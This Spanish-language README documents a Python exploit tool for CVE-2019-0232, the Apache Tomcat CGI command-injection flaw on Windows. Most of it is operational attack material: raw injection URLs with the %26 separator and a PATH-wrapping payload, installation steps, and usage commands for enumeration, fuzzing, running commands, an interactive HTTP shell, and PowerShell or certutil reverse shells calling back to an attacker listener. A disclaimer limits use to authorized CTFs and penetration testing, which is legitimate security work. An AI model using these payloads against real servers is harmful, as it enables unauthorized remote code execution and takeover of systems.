
Apache Tomcat CGI Servlet RCE (Windows)
PoC educativo solo para CTF autorizado / pruebas de penetración.
Ejecutar esto contra sistemas que no posee o para los que no tiene permiso explícito por escrito es ilegal.
CVE-2019-0232 es una vulnerabilidad de Ejecución Remota de Código en Apache Tomcat en Windows.
Cuando el Servlet CGI tiene enableCmdLineArguments=true (el valor predeterminado en Windows antes del parche), Tomcat pasa la cadena de consulta HTTP directamente como argumentos de línea de comandos al archivo batch CGI a través de Runtime.exec(). En Windows, Runtime.exec() envuelve la llamada con cmd.exe /c, haciendo que el separador de comandos & esté activo dentro de esos argumentos.
Un atacante puede inyectar un segundo comando del sistema operativo incluyendo & (codificado como %26) en la URL:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat decodifica la URL → cmd.exe /c cmd.bat &whoami
# cmd.exe ve el & y ejecuta whoami después de que cmd.bat termina
| Rama | Rango Vulnerable | Corregido en |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Requisito: enableCmdLineArguments=true en conf/web.xml (por defecto en Windows antes del parche).
-w)--cmd)certutil (alternativa)System32, Windows, Wbem, PowerShell para que whoami, ipconfig, netstat, powershell.exe funcionen sin rutas completas2>&1 automáticamente para que la salida de errores sea visible--proxy http://127.0.0.1:8080git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Se requiere Python 3.8+.
python3 cve_2019_0232.py -t <TARGET_URL> [opciones]
| Bandera | Descripción |
|---|---|
--auto | Enumerar → fuzzear → entrar en shell interactiva |
--enum | Enumerar solo versión de Tomcat y rutas CGI |
--fuzz | Fuzzear en busca de endpoints .bat/.cmd accesibles |
--cmd COMMAND | Ejecutar un solo comando |
--interactive | Bucle de shell HTTP interactivo |
--reverse-shell | Generar una reverse shell (requiere --lhost) |
Modo automático — deja que el script encuentre todo:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Comando único en un endpoint conocido:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Bucle de shell interactivo:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Cadena automática completa → reverse shell (no se necesita nc aparte):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
El script abre su propio listener TCP en --lport, lanza el payload de PowerShell y te coloca en una shell interactiva cuando el objetivo responde.
Reverse shell de PowerShell en una ruta conocida:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
Stager certutil (si PowerShell está bloqueado):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Lista de palabras personalizada para fuzzing:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Las entradas sin extensión de archivo se prueban automáticamente como .bat y .cmd.
Enrutar a través de Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Mostrar la URL de inyección sin procesar antes de cada solicitud:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / required:
-t, --target URL Target base URL e.g. http://10.10.10.x:8080
path:
-p, --path PATH Known CGI script path e.g. /cgi/cmd.bat
modes:
--auto Full chain: enum → fuzz → interactive
--enum Enumerate Tomcat version and CGI paths
--fuzz Fuzz for accessible CGI script endpoints
--cmd COMMAND Run a single command and print output
--interactive Interactive command loop (HTTP shell)
--reverse-shell Send PowerShell reverse shell
reverse shell:
--lhost IP Your listener IP (use tun0 for HTB/OSCP)
--lport PORT Your listener port (default: 4444)
--shell-method {ps,certutil}
Payload type: ps (default) or certutil stager
options:
-w, --wordlist FILE Extra CGI names to fuzz (one per line)
--threads N Fuzz threads (default: 15)
--timeout N HTTP timeout in seconds (default: 10)
--proxy URL HTTP proxy e.g. http://127.0.0.1:8080
--no-ssl-verify Disable TLS certificate verification
--show-url Print the full injection URL before each request
El script construye la URL de inyección en tres pasos:
Inyección de PATH — envuelve su comando en un grupo que establece PATH primero:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<su comando> 2>&1)
El echo. genera una línea en blanco, satisfaciendo el analizador de cabeceras CGI de Tomcat para que el cuerpo de la respuesta sea visible.
Codificación URL — los espacios se convierten en +, los caracteres especiales en %XX mediante urllib.parse.quote.
Punto de inyección — el grupo codificado se coloca después de %26 (el separador &):
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
El autor no se hace responsable de ningún uso indebido o daño causado por esta herramienta.
Obtenga siempre permiso explícito por escrito antes de probar cualquier sistema.